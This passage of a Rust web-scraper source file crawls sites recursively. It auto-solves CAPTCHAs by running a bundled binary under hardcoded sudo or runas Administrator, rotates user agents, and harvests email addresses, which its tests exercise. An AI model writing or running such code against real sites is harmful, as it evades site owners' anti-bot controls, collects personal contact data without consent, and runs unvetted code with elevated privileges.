        // Extract the binary asynchronously
        let binary_path = extract_binary(&temp_dir).await?;

        // Start building the command based on the OS
        let mut command = if cfg!(target_os = "linux") {
            // On Linux, always use sudo for privilege escalation
            let mut cmd = Command::new("sudo"); // Hardcoded "sudo"
            cmd.arg(&binary_path);               // The actual command follows "sudo"
            cmd
        } else if cfg!(target_os = "windows") {
            // On Windows, use `runas` for privilege escalation (will require UAC prompt)
            let mut cmd = Command::new("runas");
            cmd.arg("/user:Administrator").arg(&binary_path); // Use runas with Administrator
            cmd
        } else {
            // Default case for other operating systems
            Command::new(&binary_path)
        };

        // Add the command arguments and set the current directory
        command.arg(comm.cap).current_dir(&comm.current_dir);

        // Execute the command asynchronously and handle output
        match command.output().await {
            Ok(output) => {
                if output.status.success() {
                    Ok(String::from_utf8_lossy(&output.stdout).to_string())
                } else {
                    Err(std::io::Error::new(
                        std::io::ErrorKind::Other,
                        format!(
                            "Command execution failed with status {}: {}",
                            output.status,
                            String::from_utf8_lossy(&output.stderr)
                        ),
                    ))
                }
            }
            Err(e) => Err(std::io::Error::new(
                std::io::ErrorKind::Other,
                format!("Failed to execute command: {}", e),
            )),
        }
    })
}

/// Recursively scrapes web pages starting from the given URL, handling CAPTCHA if encountered.
///
/// If the scraper detects a CAPTCHA challenge (e.g., a 429 or 403 HTTP status code), it will
/// attempt to solve it using the AI binary and continue scraping.
///
/// # Arguments
/// * `url` - The URL to start scraping from.
/// * `client` - An instance of `reqwest::Client` for making HTTP requests.
/// * `visited` - A mutable reference to a `HashSet<String>` to track visited URLs.
///
/// # Example
/// ```
/// ai_scrape("https://example.com", &client, &mut visited).await;
/// ```

pub fn ai_scrape<'a>(
    url: &'a str,
    client: &'a Client,
    visited: &'a mut HashSet<String>,
) -> Pin<Box<dyn Future<Output = ()> + 'a>> {
    Box::pin(async move {
        if visited.contains(url) {
            return;
        }
        visited.insert(url.to_string());

        let user_agent = random_user_agent();
        match client.get(url).header("User-Agent", user_agent).send().await {
            Ok(response) => {
                // Assuming CAPTCHA is detected via status codes 429 (Too Many Requests) or 403 (Forbidden)
                if response.status().as_u16() == 429 || response.status().as_u16() == 403 {
                    println!("CAPTCHA detected at: {}", url);
                    
                    if let Ok(html) = response.text().await {
                        let document = Html::parse_document(&html);

                        // Find the form where CAPTCHA should be submitted
                        let form_selector = Selector::parse("form").unwrap();
                        if let Some(form) = document.select(&form_selector).next() {
                            let form_action = form.value().attr("action").unwrap_or(url);
                            let captcha_submission_url = normalize_link(form_action, url);

                            // Find the CAPTCHA image
                            let img_selector = Selector::parse("img[src]").unwrap();
                            for img in form.select(&img_selector) {
                                if let Some(src) = img.value().attr("src") {
                                    if src.ends_with(".png") || src.ends_with(".jpeg") || src.ends_with(".jpg") || src.ends_with(".gif") {
                                        let img_url = normalize_link(src, url);
                                        let img_path = PathBuf::from("./captcha_images/captcha.png");

                                        // Download CAPTCHA image
                                        download_media(client, &img_url, &img_path).await;

                                        // Solve the CAPTCHA using AI
                                        let comm = Comm {
                                            cap: img_path.to_str().unwrap(),
                                            current_dir: std::env::current_dir().expect("Failed to get current directory"),
                                        };

                                        match ai(&comm).await {
                                            Ok(captcha_text) => {
                                                println!("CAPTCHA solved: {}", captcha_text);

                                                // Submit CAPTCHA
                                        let mut form_data = vec![("captcha_response".to_string(), captcha_text.to_string())];

                                        // Add any other form inputs if available
                                        let input_selector = Selector::parse("input").unwrap();
                                        for input in form.select(&input_selector) {
                                            if let (Some(name), Some(value)) = (
                                                input.value().attr("name"),
                                                input.value().attr("value"),
                                            ) {
                                                let name_owned = name.to_string();
                                                let value_owned = value.to_string();
                                                form_data.push((name_owned, value_owned));
                                            }
                                        }

                                        // Convert form_data into the required type for reqwest's form method
                                        let form_data_ref: Vec<(&str, &str)> = form_data
                                            .iter()
                                            .map(|(name, value)| (name.as_str(), value.as_str()))
                                            .collect();

                                        let form_response = client
                                            .post(&captcha_submission_url)
                                            .header("User-Agent", random_user_agent())
                                            .form(&form_data_ref)
                                            .send()
                                            .await;
                                                match form_response {
                                                    Ok(response) => {
                                                        if response.status().is_success() {
                                                            println!("CAPTCHA submitted successfully. Continuing with scraping...");
                                                            // Retry scraping after submitting the CAPTCHA solution
                                                            ai_scrape(url, client, visited).await;
                                                        } else {
                                                            eprintln!("Failed to submit CAPTCHA. Status: {}", response.status());
                                                        }
                                                    }
                                                    Err(e) => {
                                                        eprintln!("Failed to submit CAPTCHA to '{}': {}", captcha_submission_url, e);
                                                    }
                                                }
                                            }
                                            Err(e) => {
                                                eprintln!("Failed to solve CAPTCHA: {}", e);
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                } else {
                    match response.text().await {
                        Ok(html) => {
                            println!("Scraping: {}", url);
                            scrape_content(&html, url, client).await;
                            scrape_js(&html);
                            scrape_for_errors(&html);

                            // Extract links and recursively scrape them
                            let links = extract_links(&html, url);
                            for link in links {
                                if !visited.contains(&link) {
                                    ai_scrape(&link, client, visited).await;
                                }
                            }
                        }
                        Err(e) => {
                            let error_message = format!("Failed to get HTML content from '{}': {}", url, e);
                            eprintln!("{}", error_message);
                            log_error_to_file(&error_message);
                        }
                    }
                }
            }
            Err(e) => {
                let error_message = format!("Failed to request '{}': {}", url, e);
                eprintln!("{}", error_message);
                log_error_to_file(&error_message);
            }
        }
    })
}

/// Recursively scrapes web pages starting from the given URL, handling CAPTCHA when encountered.
/// If the target phrase is not found in the HTML content of a page, it stops scraping in that direction.
///
/// # Arguments
/// * `url`: The starting URL for scraping.
/// * `client`: An instance of `reqwest::Client` for making HTTP requests.
/// * `config`: An optional reference to `ScraperConfig` for controlling scraper behavior.
/// * `visited`: A `HashSet` that tracks visited URLs.
/// * `target_phrase`: The phrase to search for in the HTML content.

pub async fn rec_ai_scrape(
    url: &str,
    client: &Client,
    config: Option<&ScraperConfig>,
    visited: &mut HashSet<String>,
    target_phrase: &str,
) {
    let mut queue = VecDeque::new();
    queue.push_back(url.to_string());
    let mut current_depth = 0;

    let follow_links = config.map_or(true, |c| c.follow_links()); // Default: true
    let max_depth = config.map_or(3, |c| c.max_depth()); // Default: 3
    let user_agent = config.and_then(|c| c.user_agent().cloned());

    while let Some(current_url) = queue.pop_front() {
        if visited.contains(&current_url) {
            continue;
        }

        println!("Visiting: {}", current_url);
        visited.insert(current_url.clone());

        let mut request = client.get(&current_url);
        if let Some(ref agent) = user_agent {
            request = request.header(header::USER_AGENT, agent);
        }

        let response = match request.send().await {
            Ok(response) => response,
            Err(_) => continue,
        };

        if response.status().is_success() {
            let html = match response.text().await {
                Ok(html) => html,
                Err(_) => continue,
            };

            if should_scrape_content(&html, target_phrase) {
                println!("Target phrase found in: {}", current_url);

                if follow_links && current_depth < max_depth {
                    let links = extract_links(&html, &current_url);
                    for link in links {
                        if !visited.contains(&link) {
                            queue.push_back(link);
                        }
                    }
                    current_depth += 1;
                }
            } else {
                println!("Target phrase not found in: {}", current_url);
            }
        } else if response.status().as_u16() == 429 || response.status().as_u16() == 403 {
            println!("CAPTCHA detected at: {}", current_url);

            if let Ok(html) = response.text().await {
                let document = Html::parse_document(&html);

                // Find the form where CAPTCHA should be submitted
                let form_selector = Selector::parse("form").unwrap();
                if let Some(form) = document.select(&form_selector).next() {
                    let form_action = form.value().attr("action").unwrap_or(&current_url);
                    let captcha_submission_url = normalize_link(form_action, &current_url);

                    // Find the CAPTCHA image
                    let img_selector = Selector::parse("img[src]").unwrap();
                    for img in form.select(&img_selector) {
                        if let Some(src) = img.value().attr("src") {
                            if src.ends_with(".png") || src.ends_with(".jpeg") || src.ends_with(".jpg") || src.ends_with(".gif") {
                                let img_url = normalize_link(src, &current_url);
                                let img_path = PathBuf::from("./captcha_images/captcha.png");

                                // Download CAPTCHA image
                                download_media(client, &img_url, &img_path).await;

                                // Solve the CAPTCHA using AI
                                let comm = Comm {
                                    cap: img_path.to_str().unwrap(),
                                    current_dir: std::env::current_dir().expect("Failed to get current directory"),
                                };

                                match ai(&comm).await {
                                    Ok(captcha_text) => {
                                        println!("CAPTCHA solved: {}", captcha_text);

                                        // Submit CAPTCHA
                                        let mut form_data = vec![("captcha_response".to_string(), captcha_text.to_string())];

                                        // Add any other form inputs if available
                                        let input_selector = Selector::parse("input").unwrap();
                                        for input in form.select(&input_selector) {
                                            if let (Some(name), Some(value)) = (
                                                input.value().attr("name"),
                                                input.value().attr("value"),
                                            ) {
                                                let name_owned = name.to_string();
                                                let value_owned = value.to_string();
                                                form_data.push((name_owned, value_owned));
                                            }
                                        }

                                        // Convert form_data into the required type for reqwest's form method
                                        let form_data_ref: Vec<(&str, &str)> = form_data
                                            .iter()
                                            .map(|(name, value)| (name.as_str(), value.as_str()))
                                            .collect();

                                        let form_response = client
                                            .post(&captcha_submission_url)
                                            .header("User-Agent", random_user_agent())
                                            .form(&form_data_ref)
                                            .send()
                                            .await;

                                        match form_response {
                                            Ok(response) => {
                                                if response.status().is_success() {
                                                    println!("CAPTCHA submitted successfully. Continuing with scraping...");
                                                    queue.push_back(current_url.clone());
                                                } else {
                                                    eprintln!("Failed to submit CAPTCHA. Status: {}", response.status());
                                                }
                                            }
                                            Err(e) => {
                                                eprintln!("Failed to submit CAPTCHA to '{}': {}", captcha_submission_url, e);
                                            }
                                        }
                                    }
                                    Err(e) => {
                                        eprintln!("Failed to solve CAPTCHA: {}", e);
                                    }
                                }
                            }
                        }
                    }
                }
            }
        } else {
            println!("Failed to request '{}': Status: {}", current_url, response.status());
        }
    }
}





#[cfg(test)]
mod tests {
    use super::*;
    use reqwest::Client;
    use std::collections::HashSet;
    use std::path::Path;

    // Test for the random_user_agent function
    #[test]
    fn test_random_user_agent() {
        let user_agent = random_user_agent();
        assert!(user_agent.contains("Mozilla"), "User-Agent should contain 'Mozilla'");
    }

    // Test for the extract_links function
    #[test]
    fn test_extract_links() {
        let html = r#"<a href="/about">About</a> <a href="https://example.com">Home</a>"#;
        let base_url = "https://test.com";
        let links = extract_links(html, base_url);

        assert!(links.contains("https://test.com/about"));
        assert!(links.contains("https://example.com"));
    }

    // Test for the normalize_link function
    #[test]
    fn test_normalize_link() {
        let link = "/about";
        let base_url = "https://example.com";
        let normalized = normalize_link(link, base_url);

        assert_eq!(normalized, "https://example.com/about");
    }

    // Test for the scrape_for_emails function
    #[test]
    fn test_scrape_for_emails() {
        let html = r#"<p>Contact us at info@example.com</p>"#;
        let dir = "./test_output";
        create_dir_all(dir).unwrap();
        scrape_for_emails(html, dir);

        let emails_path = format!("{}/emails.txt", dir);
        let emails_file = std::fs::read_to_string(emails_path).unwrap();
        assert!(emails_file.contains("info@example.com"), "Should find the email");
    }

    // Async test for downloading media
    #[tokio::test]
    async fn test_download_media() {
        let client = Client::new();
        let media_url = "https://via.placeholder.com/150";
        let file_path = Path::new("./test_output/image.jpg");

        download_media(&client, media_url, &file_path).await;

        assert!(file_path.exists(), "Image should be downloaded and saved");
    }

    // Async test for recursive scraping (simplified, no live requests)
    #[tokio::test]
    async fn test_recursive_scrape() {
        let client = Client::new();
        let mut visited = HashSet::new();

        let url = "https://example.com";
        recursive_scrape(url, &client, &mut visited).await;

        assert!(visited.contains(url), "URL should be marked as visited");
    }

    // Clean up after tests
    fn clean_test_output() {
        std::fs::remove_dir_all("./test_output").unwrap_or_else(|_| {
            eprintln!("Could not delete test_output directory");
        });
    }

    #[test]
    fn test_cleanup() {
        clean_test_output();
    }
}